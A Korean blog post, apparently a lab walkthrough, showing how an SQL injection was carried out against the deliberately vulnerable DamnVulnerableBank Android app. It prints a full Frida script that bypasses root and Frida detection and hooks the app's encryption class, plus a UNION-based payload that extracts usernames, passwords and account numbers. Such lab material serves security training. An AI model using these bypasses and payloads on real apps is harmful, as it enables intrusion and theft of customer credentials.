반응형
SQLi가 발생되는 QnA 게시판의 view 부분에서 공격 진행
Burp suite 확인 결과 body 값에 enc_data 값이 전송되는 것을 확인
요청값과 응답값이 암호화 되어있는 것을 확인
Jadx를 통해 소스분석 > "EncryptDecrypt"라는 암호화와 관련이 있어보이는 클래스 확인
아래와 같이 위 클래스를 js코드로 컨버팅(converting)
console.log("Script loaded successfully");
Java.perform(function() {
console.log("Inside java perform function");
// 루팅 우회
var RootUtil = Java.use("com.app.damnvulnerablebank.RootUtil");
RootUtil.isDeviceRooted.overload().implementation = function () {
console.log("isDeviceRooted");
return false;
}
// frida 우회
var Frida = Java.use("com.app.damnvulnerablebank.FridaCheckJNI");
Frida.fridaCheck.overload().implementation = function () {
console.log("Inside fridaCheck");
return false;
}
var Encrypt = Java.use("com.app.damnvulnerablebank.EncryptDecrypt");
// 암호화 전 문자열 출력
Encrypt.encrypt.overload('java.lang.String').implementation = function (str) {
console.log('encrypt : '+str);
return Encrypt.encrypt(str);
}
// 복호화 후 문자열 출력
Encrypt.decrypt.overload('java.lang.String').implementation = function (str) {
var result = Encrypt.decrypt(str);
console.log('decrypt : '+result);
return result;
}
});
암복호화 js 코드를 통해 공격할 전송 데이터 암호화
console.log(encrypt('{"qna_id":"false UNION select username as title, password as content, account_number as write_at from users where true LIMIT 1; -- "}'));
Repeter 사용하여 암호화된 데이터 전송 → response 값 확인
응답값 복호화를 통해 SQLi가 적용되었다는 것을 확인!
반응형
'Mobile > OhBankGuide' 카테고리의 다른 글
[OhBank] WebShell 시나리오 공격 (0) | 2023.05.22 |
---|---|
[OhBank] 루팅(Rooting) 탐지 우회 (0) | 2023.05.22 |
[OhBank] frida 탐지 우회(포트포워딩) (0) | 2023.05.22 |
[OhBank] Nox 에서 BurpSuite 인증서 설정하기 (0) | 2023.05.22 |
[OhBank] 로컬환경에서의 백엔드 서버 동작하기 (0) | 2023.05.22 |